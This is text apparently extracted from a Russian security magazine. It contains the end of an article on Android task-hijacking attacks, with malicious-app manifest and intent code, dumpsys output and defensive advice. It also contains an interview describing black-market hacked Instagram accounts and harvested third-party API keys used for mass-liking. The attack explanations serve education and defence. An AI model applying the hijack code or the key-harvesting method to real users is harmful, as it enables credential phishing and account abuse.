кой  «Уда лить».  При  этом,  как  уже  делали  ранее,  перепи сыва ем  метод 

  таким  обра зом,  что  при  нажатии  на  Back  сно ва  запус каем
Mal‐Activity 1 в Background, исполь зуя флаг  , что бы очис‐ 
тить  содер жимое  тас ка.  И  мы  сно ва  воз вра щаем ся  к  изна чаль ному  сос‐ 
тоянию.

on‐
BackPressed()

FLAG\_CLEAR\_TASK

Не кото рые прод винутые поль зовате ли могут поп робовать уда лить нехоро‐ 
шее при ложе ние через Android Device Bridge (ADB). Но для того, что бы уда‐ 
лось  под клю чить  устрой ство  к  компь юте ру,  необ ходимо  вклю чить  опцию
«Отладка  по  USB».  Вклю чение  этой  опции  тоже  находит ся  в  нас трой ках...
Даль нейшее раз витие событий оче вид но.

ЛАЙФХАКИ
Ав тозапуск
Ког да  поль зователь  сам  запус кает  вре донос ное  при ложе ние  —  это  уда ча
для  ата кующе го.  Но  что,  если  оно  смо жет  запус кать ся  самос тоятель но?
Для это го в при ложе нии мож но объ явить  , который сис‐ 
тема  будет  запус кать  при  заг рузке.  Нап ример,  пишем  в 

:

BroadcastReceiver
AndroidManifest.

xml

<receiver android:name=".BootReceiver" android:exported="true">
   <intent‐filter>
       <action android:name="android.intent.action.BOOT_COMPLETED" /
>
       <category android:name="android.intent.category.DEFAULT" />
   </intent‐filter>
   <intent‐filter>
       <!‐‐need for working run after reboot on Samsung, HTC devices
‐‐>
       <action android:name="android.intent.action.QUICKB
OOT_POWERON" />
   </intent‐filter>
   <intent‐filter>
       <!‐‐need for working run after reboot on MIUI devices‐‐>
       <action android:name="android.intent.action.REBOOT" />
   </intent‐filter>
</receiver>

Мож но  при вязать ся  и  к  дру гим  событи ям,  нап ример  изме нению  сос тояния
под клю чения  к  интерне ту,  получе нию SMS.  Прав да,  в  сов ремен ных  вер сиях
Android  для работы авто запус ка  при ложе ния  тре бует ся,  что бы поль зователь
хотя бы раз запус тил его вруч ную.

FLAG_ACTIVITY_CLEAR_TASK
Как  ранее  упо мина лось,  флаг    желатель но
исполь зовать  сов мес тно  с    для  того,  что бы
очи щать содер жимое сте ка Task запус каемой Activity. Но этот же флаг может
исполь зовать ся  зло умыш ленни ком,  что бы  гаран тирован но  «занять»  Task
с целевым  .

FLAG\_ACTIVITY\_NEW\_TASK
FLAG\_ACTIVITY\_CLEAR_TASK

taskAffinity

Intent activityIntent = new Intent(this, MainActivity.class);
activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK|Intent.FLAG_A
CTIVITY_CLEAR_TASK);
startActivity(activityIntent);

Это может быть полез но в слу чае, если целевое при ложе ние уже запус калось
и  зло умыш ленни ку  тре бует ся  заменить  содер жимое  его  Task  на  свое.  Нап‐ 
ример, при авто запус ке пос ле получе ния SMS.

dumpsys
Что бы получить спи сок запущен ных в сис теме тас ков, содер жимое их бэк сте‐ 
ка  и  информа цию  о  его  Activity,  мож но  вос поль зовать ся  сле дующей  коман‐ 
дой:

$ adb shell dumpsys activity activities

Она выдаст вот такую струк туру дан ных AMS:

ACTIVITY MANAGER ACTIVITIES (dumpsys activity activities)
Display #0 (activities from top to bottom):
 Stack #1:
   Task id #2586
   ...
   * TaskRecord{c5ccc28 #2586 A=com.android.vending U=0 StackId=1 
sz=1}
     ...
     affinity=com.android.vending
     intent={flg=0x10800000 cmp=ru.mobsec.calcapp.CTFMobileBank.
malware/ru.mobsec.calcapp.MainActivity}
     realActivity=ru.mobsec.calcapp.CTFMobileBank.malware/ru.mobsec.
calcapp.MainActivity
     ...
     * Hist #0: ActivityRecord{4b83936 u0 ru.mobsec.calcapp.CTFMob
ileBank.malware/ru.mobsec.calcapp.MainActivity t2586}
         packageName=ru.mobsec.calcapp.CTFMobileBank.malware proces
sName=ru.mobsec.calcapp.CTFMobileBank.malware
         launchedFromUid=10140 launchedFromPackage=ru.mobsec.
calcapp.CTFMobileBank.malware userId=0
         app=ProcessRecord{4e9bf32 15729:ru.mobsec.calcapp.CTFMob
ileBank.malware/u0a140}
         Intent { flg=0x10808000 cmp=ru.mobsec.calcapp.CTFMob
ileBank.malware/ru.mobsec.calcapp.MainActivity bnds=[878,1265][1046,
1433] (has extras) }
         frontOfTask=true task=TaskRecord{c5ccc28 #2586 A=com.
android.vending U=0 StackId=1 sz=1}
         taskAffinity=com.android.vending
         realActivity=ru.mobsec.calcapp.CTFMobileBank.malware/ru.
mobsec.calcapp.MainActivity

Для наг ляднос ти при веде на толь ко часть информа ции. Из вывода вид но, что
на  момент  запус ка  в  Foreground  находит ся  Task  c 

  и 
.  Суди  сам,  к  чему

это может при вес ти поль зовате ля.

taskAffinity=com.an‐
droid.vending (Play  Маркет) realActivity=ru.mobsec.calcapp.CTF‐
MobileBank.malware/ru.mobsec.calcapp.MainActivity

Ав торы пер воначаль ного док лада соб рали вну шитель ную ста тис тику, про ана‐ 
лизи ровав боль шое количес тво при ложе ний на пред мет уяз вимос ти к ата кам
подоб ного рода. Мы нем ного допол нили эту ста тис тику.

Тип уяз вимос ти
Про цент уяз вимых при -

ложе ний

Под мена при ложе ний из Launcher 100%

Ис поль зование неяв ных интентов 93,9%

Ис поль зование
FLAG_ACTIVITY_NEW_TASK

65,5%

Ис поль зование режима запус ка
singleTask

14,2%

Сей час перед такими ата ками уяз вимы все вер сии Android начиная с 3.x. Уяз‐ 
вимость  никак  не  зависит  от  про изво дите ля  устрой ства. Под мена  при ложе‐ 
ния  из  Launcher  при  помощи  ука зания  taskAffinity  не  работа ет  толь ко
в CyanogenMod. Оче вид но,  код  запус ка  при ложе ний  в  нем  силь но  изме нен
по срав нению с офи циаль ным вари антом. Тем не менее осталь ные спо собы
работа ют.

КАК ЗАЩИТИТЬСЯ?
Рас смот рим основные спо собы борь бы с подоб ным вари антом ата ки на при‐ 
ложе ния. Проб лема свя зана со стан дар тным Android API, поэто му единс твен‐ 
ная воз можная защита — это помень ше исполь зовать уяз вимые методы.
1. С  осто рож ностью  исполь зовать  ,  луч ше
вооб ще  не  делать  это го  без  необ ходимос ти.  Если  же  все‐таки  без  него
обой тись не получит ся, исполь зовать его вмес те с фла гом 

. Перед соз дани ем Activity он очис тит Task, к которо му
она будет при вяза на, обну лит его содер жимое и сде лает твою Activity кор‐ 
невой (ниж ней в сте ке).

FLAG\_ACTIVITY\_NEW_TASK

FLAG\_ACTIV­
ITY\_CLEAR\_TASK

2. Не ука зывать режим запус ка singleTask для Activity при ложе ния. Если есть
необ ходимость  запус тить  в  отдель ном  тас ке,  то  исполь зовать  рекомен‐ 
дацию из пун кта 1.

3. Не ука зывать для Activity атри бут  , что бы пре дот‐ 
вра тить переме щение Activity на стек вре донос ного тас ка.

allowTaskReparenting

4. Ис поль зовать  явные  интенты  для  вызова  сто рон них  при ложе ний.  Либо
исполь зовать  неяв ные  интенты  с  при мене нием  белого  спис ка  при ложе‐ 
ний,  раз решен ных  к  запус ку.  Как  вари ант,  мож но  про верять  такие  при‐ 
ложе ния по циф ровой под писи.

К сожале нию, пол ноцен ного решения, поз воля юще го пол ностью защитить ся
от атак подоб ного рода, не сущес тву ет. Есть нес коль ко идей, как потен циаль‐ 
но  мож но  пре дот вра тить  воз можность  ата ки.  Это  соз дание  сер виса,
который бы отсле живал наличие в сис теме Task с   защища емо‐ 
го  при ложе ния.  Ког да  такой  таск  будет  най ден,  мож но  све рить  циф ровую
под пись  породив шего  его  при ложе ния  и  в  слу чае  несо ответс твия  выдавать
пре дуп режде ние  или  не  запус кать  при ложе ние.  В  рам ках  такого  сер виса
еще  мож но  реали зовать  про вер ку  тас ка,  в  котором  соз дает ся  Activity  при‐ 
ложе ния.

taskAffinity

ВЫВОДЫ?
Два  года.  Два  года,  Карл!  Дума ется,  что  проб лема  до  сих  пор  не  решена
потому,  что  уяз вимость  эта  ско рее  архи тек турная.  Такие  воз можнос ти
управле ния  задача ми  приз ваны  помочь  раз работ чикам  и  соз дать  еди ное
прос транс тво,  в  котором  работа ет  при ложе ние.  Разуме ется,  никакие  объ‐ 
ясне ния не будут дос таточ ны для нас,  хакеров, прог раммис тов, да и прос то
поль зовате лей — ведь мы дол жны знать, как себя обе зопа сить. Если не себя,
то хотя бы сис темные при ложе ния!

Ес ли  прог рамма  уста нав лива ет  себе 
 при ложе ния нас тро ек или любого дру‐ 

гого  сис темно го  при ложе ния,  то  это  явно  нес‐ 
тандар тное поведе ние.

task‐
Affinity

В качес тве вре мен ной меры раз работ чикам мог ли бы дать воз можность зап‐ 
рещать дру гим при ложе ниям про изво дить какие‐либо манипу ляции со сво им
Task.  Нап ример,  пусть  это  будет  новый  атри бут  в  манифес те  при ложе ния,
который бы опре делял, может ли дру гая прог рамма иметь тот же 

. Если зна чение выс тавле но в false, то сис тема будет игно риро вать попыт‐ 
ки вре донос ных при ложе ний переса дить Activity на свой Task или перек рыть
ее при помощи  .

taskAffin‐
ity

allowTaskReparenting
Хо чет ся верить, что в бли жай шем будущем мы уви дим исправ ление и офи‐ 

циаль ные рекомен дации по защите от под мены при ложе ний таким спо собом.
Пока что нам оста ется толь ко с осто рож ностью исполь зовать механизм мно‐ 
гоза дач ности или писать  кос тыли в  виде сер висов, монито рящих сос тояние
сис темы.
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Мы пооб щались с ком мерчес ким дирек тором   Анто‐ 
ном  Голубе вым,  что бы  узнать,  как  устро ен  рынок  прод‐ 
вижения в «Инстаг раме». Спе циалис ты из Parasite работа ют
над  сер висом  отло жен ного  пос тинга  и  ана лити ки,  но  из‐за
спе цифи ки рын ка ока зались отлично осве дом лены и о более
тем ной его сто роне.

Parasite

— Рас ска жите, чем вы занима етесь и чем вы   занима етесь.не
—  Наш  сер вис  избавля ет  челове ка  от  необ ходимос ти  пуб ликовать  через
телефон по часам. Для сколь ко‐нибудь серь езно го брен да это поч ти невоз‐ 
можно,  потому  что  гра фик  выхода  кон тента  очень  плот ный,  он  дол жен  быть
син хро низи рован, спла ниро ван, не дол жно быть перебо ев. Пла ниро вать кон‐ 
тент на месяц впе ред в папоч ке на рабочем сто ле, а потом вык ладывать вруч‐ 
ную через при ложе ние — это несерь езно и неудоб но.

При этом мы не занима емся прод вижени ем нап рямую. Под «прод вижени‐ 
ем» обыч но под разуме вает ся исполь зование сер висов, которые наращи вают
чис ло  под писчи ков  с  помощью  дей ствий,  зап рещен ных  «Инстаг рамом»,  —
авто мати чес ких  лай ков  (МЛ,  «масс‐лайк»)  и  авто мати чес ких  под писок  (МФ,
«масс‐фол ловинг»). Мы прин ципи аль но не пре дос тавля ем таких фун кций.

Мы  не  столь ко  помога ем  прод вигать  акка унты  в  Instagram,  сколь ко  поз‐ 
воля ем их  удоб но и эффектив но вес ти — для это го есть инс тру мен ты отло‐ 
жен ного пос тинга, рас писания пуб ликаций, ана лити ки, работы с «Дирек том».

 При желании редак тиру ем фотог рафию в про фес сиональ ном редак‐ 
торе (вмес то скром ных средств Instagram).
Шаг 0.

  Заходим  на  ,  нажима ем  «Добавить  пуб ликацию»
и выбира ем или перетас кива ем фотог рафию или видео.
Шаг  1. parasitelab.com

 Если изоб ражение не  квад ратное,  то  сер вис поз волит  кад рировать
или запос тить как пор трет ное или широко фор матное фото.
Шаг 2.

 Добав ляем под пись, выбира ем геоло кацию, можем добавить пер вый
ком мента рий. И конеч но, выс тавля ем дату и вре мя пос тинга.
Шаг 3.

Все готово, фотог рафия зап ланиро вана.

Ес ли кон тента мно го, то мож но вос поль зовать ся сет кой с рас писани ем и соз‐ 
давать шаб лоны опи сания.

Так же  сер вис  поз воля ет  перепи сывать ся  через  пря мые  сооб щения  (с  пол‐ 
ноцен ной кла виату рой это делать зна читель но удоб нее) и собирать ана лити‐ 
ку. Для ана лити ки, прав да, при дет ся отдель но при обрести услу ги про вай дера
прок си‐сер вера — в будущем в Parasite пла ниру ют изба вить ся от это го огра‐ 
ниче ния.

— На кого ори енти рован сер вис? Кто ваш типич ный кли ент?
— Сре ди кли ентов есть и круп ные, извес тные ком пании, и циф ровые изда ния.
Мы ори енти рова ны имен но на брен ды, так что фун кции, которые мы собира‐ 
емся внед рять, раз рабаты вают ся с при целом на них. Но у нас регис три руют‐ 
ся  и  прос тые  бло геры,  вла дель цы  магазин чиков,  мес тных  биз несов  и  так
далее.

— Вер но ли я понимаю, что с точ ки зре ния неболь шого биз неса
есть два пути: один — ну, гру бо говоря, накол хозить себе «вит -
рину» из девяти сло жен ных вмес те фоток или под борку фотог -
рафий товара и начать МФ и МЛ, вто рой — чес тно вес ти акка унт
с чем‑то инте рес ным и прод вигать ся белыми метода ми (к при -
меру, через сам же «Инстаг рам»)?
— Совер шенно вер но. Нор маль ный неболь шой биз нес в «Инстаг раме» дей‐ 
ству ет  вбе лую. МЛ  и МФ  сей час фак тичес ки  уби вают  акка унты —  они  дают
нем ного  покупа телей,  но  стра теги чес ки  акка унт  ста новит ся  испорчен ным,
у него низ кая вов лечен ность, он не показы вает ся по тегам, его пос ты в общей
лен те  низ ко  из‐за  механиз ма  ран жирова ния.  В  общем,  акка унт  спе циаль но
пес симизи рует ся и в любой выдаче будет занимать пос ледние мес та.

Круп ным  брен дам  обыч но  не  нуж на  рас крут ка  в  виде МФ  и МЛ,  а  так же
спам  (рас сылки  в  «Директ»),  зато  нужен  сер вис  для  орга низа ции  удоб ной
работы, куда не страш но ввес ти пароль. Так что тут репута ция очень важ на.

Час то  быва ет,  что  бренд  отда ет  ведение  сво его  акка унта  на  аут сорс,
в агентство SMM. А в этом агентстве еще двад цать пять кли ентов. Для всех
пос тить через телефон невоз можно, поэто му агентство прос то покупа ет себе
дос туп к нашему сер вису на мно го‐мно го акка унтов и под клю чает их.

Нам оче вид но, что рынок «чер ной» рас крут ки будет уми рать, потому что он
игра ет про тив «Инстаг рама» — забира ет у него выруч ку с рек ламы. «Инстаг‐ 
рам»  пос тоян но  тес тиру ет  новые  алго рит мы бло киро вок  и  про тиво дей ствия
этим сер висам, вре мя от вре мени рас сыла ет «пись ма счастья»  (C&D, cease
and  desist  letter  —  при каз  о  зап рещении  про тивоп равных  дей ствий).  Ну
и глав ное, вво дит механи ки, которые дела ют такое прод вижение невыгод ным.
Эту эво люцию уже про шел «Вкон такте», нап ример, где ник то уже не «нагоня‐ 
ет»  ботов  в  свои  груп пы,  потому  что  это  ста ло  бес смыс ленно,  хоть  рань ше
и работа ло.

— Но есть ведь и дру гой тип кли ентов — те, которые, гру бо
говоря, купили вагон спин неров и хотели бы их про дать, пока
не выш ли из моды. Веро ятно, для них как раз более выгоден
«чер ный» путь?
— Это прав да. Если вам нуж но быс тро про дать роз ницу в огра ничен ном объ‐ 
еме,  то вклю чает ся весь стан дар тный курс «Биз нес‐молодос ти» — бес плат‐ 
ный лен динг, «Инстаг рам» с под клю чен ным МЛ и МФ и так далее.

Ес ли акка унт ничего не сто ит, то его мож но рас кру чивать через МЛ и МФ,
но это имен но крат косроч ный про ект, потому что со вре менем акка унт либо
ста нет  «тенью»  (перес танет  отоб ражать ся  по  хеш тегам,  не  будет  попадать
в популяр ное и похожие, пос ты будут ухо дить в самый низ), либо будет заб‐ 
локиро ван. Нор маль ному биз несу МЛ и МФ не под ходит как минимум потому,
что всег да будет риск бло киров ки офи циаль ного акка унта. Ни одна серь езная
ком пания на это не пой дет.

— Популяр ные бло геры и про чие зна мени тос ти — это тоже ваш
кли ент или это слиш ком узкий сег мент, что бы с ним работать
отдель но?
— Мы их сей час не выделя ем в отдель ный сег мент. Все‐таки рынок биз несов,
брен дов  и  агентств  нам ного шире.  Есть  еще  такой  момент —  если  акка унт
сов сем  кру той,  нап ример  извес тно го  бло гера  на  мил лион  с  лиш ним  под‐ 
писчи ков,  то  его  обыч но  не  под клю чают  ни  к  каким  сер висам,  потому  что
став ки слиш ком высоки. Сто ит такой акка унт мно го, вла дель цы не реша ются
рис ковать. Либо они пос тят самос тоятель но, либо это дела ет сек ретарь вруч‐ 
ную.

— Кста ти, одна из воз можнос тей прод вижения — это покуп ка пос -
тов у популяр ных бло геров. Как это про исхо дит, какие тут осо -
бен ности?
— В нашей коман де есть кру той эксперт по SMM. Она рас ска жет об этом.

В  пер вую  оче редь  советую  нарабо тать  про верен ную  годами  базу  лидеров
мне ний на раз ных плат формах, нап ример на «Юту бе» и в «Инстаг раме». Если
опы та  работы  с  ними  пока  нет,  про верь те  выб ранно го  бло гера  через  спе‐ 
циали зиро ван ные  сай ты:  так  вы  смо жете  пос мотреть  рей тинг,  най ти  подоб‐ 
ные по теме акка унты и узнать ста тис тику прос мотров. Я работаю с сер висом
LiveDune и вам советую.

Обя затель но  про верь те  выб ранно го  лидера  мне ний  на  нак ручен ные
активнос ти:  сей час  мож но  купить  все,  от  лай ков  до  прос мотров  под  видео.
Соот ношение  под писчи ков  и  лай ков  под  каж дым  пос том  дол жно  быть
не  мень ше  десяти  про цен тов.  Если  мень ше —  зна чит,  сущес твен ная  часть
ауди тории куп лена, нак ручена. Зачем вам за нее пла тить?

Пе ред  тем  как  писать  с  пред ложени ем  бар тера  или  сот рудни чес тва
на денеж ной осно ве, не забудь те про думать все детали: каков будет пост, что
дол жен отме тить бло гер в сво ем акка унте, какую локацию пос тавить и ког да
выложить  свою  рек ламу.  Так  вы  обе зопа сите  себя  от  сор ванных  дед лай нов
и неэф фектив ного кон тента.

Мно гие пыта ются вычис лить опти маль ное вре мя для выхода пос та. Рань‐ 
ше  тай минг  был  акту ален,  сей час — не очень,  потому  что  умная  лен та  ран‐ 
жиру ет  пос ты  не  по  вре мени  выхода,  а  по  «инте рес ности»,  релеван тнос ти.
Ког да бы пост ни вышел, он зай мет свое закон ное, по мне нию «Инстаг рама»,
мес то в лен те поль зовате лей.

— Нас коль ко я знаю, внеш них API у «Инстаг рама» нет. Соот ветс -
твен но, вы это огра ниче ние как‑то обхо дите. Не наруша ет ли
это поль зователь ское сог лашение?
—  Внеш них  API  дей стви тель но  нет.  Если  рас смат ривать  поль зователь ское
сог лашение,  то  ока жет ся,  что  инс тру мен ты  для  пос тинга  наруша ют  пра вила
по  бук ве,  но  не  по  духу.  Пра вила  «Инстаг рама»  нап равле ны  на  сни жение
уров ня  спа ма  и  повыше ние  выруч ки  ком пании  (что бы бра ли  рек ламу  в  при‐ 
ложе нии,  а  не  сер висы  рас крут ки  через  МЛ  и  МФ).  Отло жен ный  пос тинг
не  про тиво речит  стра тегии  «Инстаг рама»,  и  поэто му  ком пания  никог да
не обра щала на подоб ные сер висы вни мания. У них поч ти нет рис ков, у акка‐ 
унтов поль зовате лей — тоже.

К  тому же мы пред при няли все  воз можные шаги,  что бы обес печить мак‐ 
сималь ную безопас ность поль зовате лей. Со сто роны «Инстаг рама» все выг‐ 
лядит безобид но, то есть пос тинг через наш сер вис нель зя отли чить от пос‐ 
тинга через телефон вруч ную.

Фак тичес ки  у  конеч ных  поль зовате лей  ред ко  воз ника ют  проб лемы  даже
пос ле прив лечения средств рас крут ки через МЛ и МФ, но все же баны слу‐ 
чают ся, и мы на этот рынок не идем, хотя сами фун кции в реали зации нам ного
про ще отло жен ного пос тинга.

— И если спа мер ский сер вис не прек ратит работу, Instagram
подаст на него в суд?
—  Это  тон кий  момент.  С  боль шинс твом  сер висов  непонят но,  где  и  как
судить ся. Какое‐то ООО зарегис три рова но  где‐то в РФ, непонят но,  как оно
свя зано  с  сай том.  Дру гое  дело  —  сер висы,  которые  зарегис три рова ны
в США, как мы. Для нас такое пись мо — это дей стви тель но конец, потому что
мы находим ся  в  одном пра вовом поле,  а  судить ся  с  «Инстаг рамом»  в Аме‐ 
рике — это очень пло хая идея. Для наших поль зовате лей это гаран тия того,
что мы работа ем с повышен ной бди тель ностью и осто рож ностью.

— Как кон крет но работа ет ваш сер вис? Вир туал ки с Android кру -
тят ся в обла ке?
— Мы не можем рас кры вать тех ничес кие под робнос ти — это наш сек рет, и с
нуля  раз работать  такой  сер вис  тяжело.  У  нас мно го  небаналь ных  решений,
которые  кон курен ты,  нап ример,  не  смог ли  внед рить.  Они  даже  про мыш‐ 
ленным шпи она жем занима ются — писали нам под видом сту ден тов, которые
яко бы  дела ют  кур совую  работу  и  для  нее  хотят  узнать  осо бен ности  работы
некото рых наших модулей.

— А можете рас ска зать, как это обхо дят дру гие? К при меру, те,
кто занима ется спа мом.
— Ска жем так, самая слож ная часть раз работ ки такого про дук та ана логич на
таковой для отло жен ного пос тинга. В общем слу чае — это пол ная эму ляция
работы офи циаль ного при ложе ния. А  уж  какие фун кции потом на ее осно ве
реали зовать — отло жен ный пос тинг или МЛ, МФ, ДМ, — это воп рос десятый.
Кста ти,  имен но  поэто му  «Инстаг рам»  рас сыла ет  пись ма  вла дель цам  сер‐ 
висов МЛ и МФ, а не бло киру ет им дос туп. С их сто роны невоз можно отли‐ 
чить работу такого сер виса от обыч ного поль зовате ля.

— Что нуж но сде лать, что бы нар вать ся на «пись мо счастья»? Как в
«Инстаг раме» при нима ют решение, что кого‑то пора наказы вать?
—  Сот рудни ки  монито рят  рынок  и  инди виду аль но  рас сыла ют  пись ма.
При этом в поле зре ния сей час попада ют толь ко круп ные игро ки. И мы зна ем
огромные  сер висы  отло жен ного  пос тинга  (по  нашим  оцен кам,  с  выруч кой
в  мил лионы  дол ларов),  у  которых  нет  никаких  проб лем.  «Инстаг раму»  они
не осо бен но инте рес ны, потому что не отби рают день ги. Работа ют — и пус‐ 
кай работа ют.

— Акка унты, вла дель цы которых исполь зуют МФ и МЛ, тоже ведь
бло киру ют?
— Тут  все  слож нее.  Тех ничес ки  «Инстаг раму»  тяжело  понять,  поль зует ся  ли
акка унт средс тва ми авто мати зации. Слож нее все го рас кусить пос тинг. С лай‐ 
ками, под писка ми и ком мента риями про ще, потому что если с акка унта, нап‐ 
ример,  летит  3000  лай ков  в  сут ки  в  течение  месяца,  то  понят но,  что
это человек не вруч ную дела ет.

Тем не менее, если акка унт уже ста рый (то есть ведет ся дав но, в нем мно‐ 
го  пос тов),  «Инстаг рам»  поч ти  никог да  не  забанит  его  за  МЛ  и  МФ.  Нап‐ 
ример, если взять мой лич ный акка унт, которо му уже лет пять, и начать с него
жечь спа мом со всей силы, то зарабо тать бан будет не так лег ко, если вооб‐ 
ще получит ся.

А вот если акка унт молодой, нап ример толь ко что зарегис три рован ный, то
да, «Инстаг рам» может расс тре лять сра зу пос ле начала рас крут ки — вре мен‐ 
но или пер манен тно заб локиро вать про филь.

— Если ста рые акка унты ценят ся, то их про дают и покупа ют?
— Конеч но, чем ста рее, тем дороже. Но тут есть один нюанс — важен не воз‐ 
раст  акка унта,  а  воз раст  про дол житель ной  активнос ти  в  нем.  То  есть  если
акка унту пять лет,  но пер вый пост выложен вче ра,  то ему один день с  точ ки
зре ния  «Инстаг рама».  Или,  нап ример,  пост  был  пять  лет  назад,  а  потом
тишина. Или край не ред кие пос ты.

— Выходит, гра мот ный спа мер не толь ко про дает сиюми нут ные
услу ги, но и пос тепен но взра щива ет себе запас?
— Нет, это было бы слиш ком дорого. Им нуж но нам ного боль ше акка унтов,
чем  мож но  взрас тить  в  домаш них  усло виях.  Если  пос мотреть  на  спам
в  «Инстаг раме»,  то он  в основном рас сыла ется с отно ситель но новых акка‐ 
унтов.  То  есть  дешев ле  оптом  покупать  авто реги.  Заб локиро вали  —  взял
новый.

— Сколь ко сей час сто ят акка унты на чер ном рын ке?
—  Сто имость  толь ко  что  зарегис три рован ных  акка унтов  мала,  сей час
от 2 до 15 руб лей. Но со мно жес твен ными регис тра циями «Инстаг рам» тоже
стал активно бороть ся.

Час то  спа меры  выс тра ивают  пирами ду,  то  есть  оставля ют  ком мента рии
с одно го акка унта, а у него в про филе оставля ют ссыл ку на целевой, в таком
слу чае целевой акка унт ока зыва ется в безопас ности.

— Но про дают и про качан ные акка унты?
— Да, конеч но. Так же про дают взло ман ные акка унты. Запол ненный акка унт (с
фотог рафи ями) за 12 месяцев — это при мер но 100–150 руб лей. Если сов сем
ста рый,  еще  боль ше.  А  взло ман ный  может  сто ить  и  нес коль ко  тысяч.  Если
круп ный, с огромной ауди торий, то потен циаль но цена ничем не огра ниче на.

Ска жем,  кто‐то  покупа ет  100  взло ман ных  акка унтов,  у  них  есть  исто рия
и  активность,  акка унты  не  будут  быс тро банить. Даль ше  все  акка унты  пере‐ 
име новы вают ся и в них заг ружа ются фотог рафии ну, к при меру, часов. Каж‐ 
дый  акка унт  начина ет  исполь зовать  МЛ  и  ста вит  по  1000  лай ков  в  день.
Эффектив ность  вырос ла,  плюс  акка унты  про живут  доль ше,  чем  толь ко  что
зарегис три рован ные.

При мер но так выг лядит тор говля акка унта ми в Instagram

Нас, кста ти, час то спра шива ют о фун кции уда ления всех фотог рафий из акка‐ 
унта. Это как раз для таких слу чаев. Разуме ется, у нас такой фун кции нет.

— Как дав но начал ся ажи отаж вок руг рас крут ки в «Инстаг раме»?
Сам сер вис зарабо тал в 2010 году. Вер сия для Android появи -
лась, кажет ся, в 2012-м. Пер вые раз говоры о ком мерции
начались где‑то в 2013-м? Спам, кажет ся, стал заметен года два
назад, в 2015-м…
— У  нас  работа ет  человек,  который  одним  из  пер вых  в  свое  вре мя  реали‐ 
зовал  алго ритм  МЛ  и  МФ.  Так  что,  думаю,  Артём  смо жет  луч ше  отве тить
по годам и датам.

В 2013 году я написал пер вый скрипт для «Инстаг рама». Его работа силь но
отли чалась  от  текущих  методов  и  поз волила  мне  за  корот кое  вре мя  наб‐ 
рать 150 тысяч под писчи ков с вов лечен ностью по 15 тысяч лай ков на фотог‐ 
рафию. Таких акка унтов мы «рас кру тили» немало.

В то вре мя у «Инстаг рама» еще были откры ты API. В «Инстаг раме» сущес‐ 
тву ет  два  вида  клю чей:  откры тый  (который  получа ется  пря мо  в  бра узе ре)
и  зак рытый  (который  получа ется  на  сер вере). Меня  инте ресо вали  сер висы,
которые исполь зуют откры тый ключ и  у  которых есть при виле гии для лай ков
и под писок. Тог да я купил акка унт для ана лиза обратных ссы лок и нашел все
«бэк линки»  для  авто риза ции  в  «Инстаг раме»  сто рон них  при ложе ний,  где
исполь зует ся авто риза ция в бра узе ре. Кажет ся, я получил око ло сот ни клю‐ 
чей за один вечер — неболь шая хакер ская победа.

На личие этих клю чей поз воляло ста вить лай ки и под писывать ся от име ни
моего  акка унта. Фак тичес ки  это  авто риза ция  через  сто рон нее  при ложе ние.
Ничего кри миналь ного.

Сам я зарегис три ровать столь ко при ложе ний, конеч но, не мог: уже тог да
необ ходимо  было  прой ти  какую‐то  иден тифика цию,  так  что,  по  сути,  я
получил 100 при ложе ний. На  каж дый акка унт  я исполь зовал не боль ше пяти
клю чей, а каж дый ключ поз волял ста вить до 30 лай ков в час. В резуль тате я
мог ста вить око ло 3500 лай ков в сут ки. Так как тог да такой вид прод вижения
не был популя рен, я получал сумас шедшую активность в ответ.

Че рез  какое‐то  вре мя  «Инстаг рам»  стал  отни мать  у  сто рон них  сер висов
пра ва для лай ков и под писок, а еще через какое‐то вре мя пол ностью убрал
авто риза цию с откры тым клю чом. Так закон чилась исто рия одно го из пер вых
в мире скрип тов для авто мати зации в «Инстаг раме».

Сей час люди при вык ли уже к это му, отда ча сла бее в разы. Ник то не обра‐ 
щает вни мания на оче ред ной нез накомый лай кнув ший  тебя акка унт, а  тог да
перехо дил  каж дый  пер вый  и  под писывал ся,  лай кал  в  ответ.  В  те  вре мена
мож но было вырас тить огромную сет ку акка унтов, а сей час их про дать, нап‐ 
ример.

mailto:apismenny@gmail.com
https://parasitelab.com/
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PCZONE

Этим  летом  мы  запус тили  серию  ста тей  о  вычис лени ях
на  виде окар тах.  Под робно  разоб рали,  как  с  их  помощью

,  , 
  и  . Эта

статья  пос вящена  тон костям  нег рафичес ких  вычис лений
и спо собам повысить их резуль татив ность.

брут форсят  пароли май нят  аль ткой ны при нима ют  учас тие
в науч ных рас четах по луча ют  за  это  воз награж дение

Вот уже более пяти лет вмес те с друзь ями я заг ружаю прос таивающие мощ‐ 
ности  наших  компь юте ров  задани ями  из  меж дународ ных  науч ных  про ектов.
Все они генери руют терабай ты экспе римен таль ных дан ных, которые не могут
быть обра бота ны за при емле мое вре мя на обо рудо вании самих иссле дова‐ 
телей.  Денег  на  облачные  вычис ления  у  мно гих  нет,  как  и  дос тупа  к  супер‐ 
компь юте рам, поэто му науч ное сооб щес тво исполь зует труд доб роволь цев.

Го дами  мы  счи тали  под  общим  акка унтом,  пос тоян но  ана лизи рова ли
резуль таты и делились наб людени ями. Осо бен но инте рес но было срав нивать
про изво дитель ность  раз ных  виде окарт  в  реаль ных  рас четах.  Как  ока залось,
с ними свя зано очень мно го неяв ных момен тов, а син тетичес кие бен чмар ки
в основном заточе ны на игры и сла бо отра жают цен ность виде окарт для нег‐ 
рафичес ких вычис лений.

Ре дак ция выража ет бла годар ность ком пании   и ее рос сий ско му 
,  опе ратив но  пре дос тавив шему  для  тес тирова ния  виде окар ту

Inno 3D GeForce GTX 1070 iChill X4.

Inno 3D пред‐ 
ста витель ству

СОБСТВЕННЫЕ ТЕСТЫ
Дол жен  пояс нить,  что  я  не  сто рон ник  ни  «крас ных»,  ни  «зеленых».  Прос то
для  каж дой  задачи  сто ит  под бирать  свой  инс тру мент  и  не  пытать ся  срав‐ 
нивать кита со сло ном.

Ко ман да  TSC  офор мила  в  виде    резуль таты  раз ных  виде окарт
в  реаль ных  науч ных  рас четах.  Если  отсорти ровать  их  с  уче том  энер гоэф‐ 
фектив ности и уни вер саль нос ти при мене ния, то всю вер хнюю часть рей тин га
будут  занимать  решения  Nvidia  с  архи тек турой  Pascal,  вклю чая  GTX  1070.
Новей шие Radeon Vega и мощ ная R9 Fury встре чают ся в ней на 182‐й стро ке
и поз же.

таб лицы

Сов ремен ные ГП про изводс тва AMD под ходят толь ко для рас четов с под‐ 
дер жкой OpenCL, в то вре мя как ГП Nvidia мож но исполь зовать и для OpenCL,
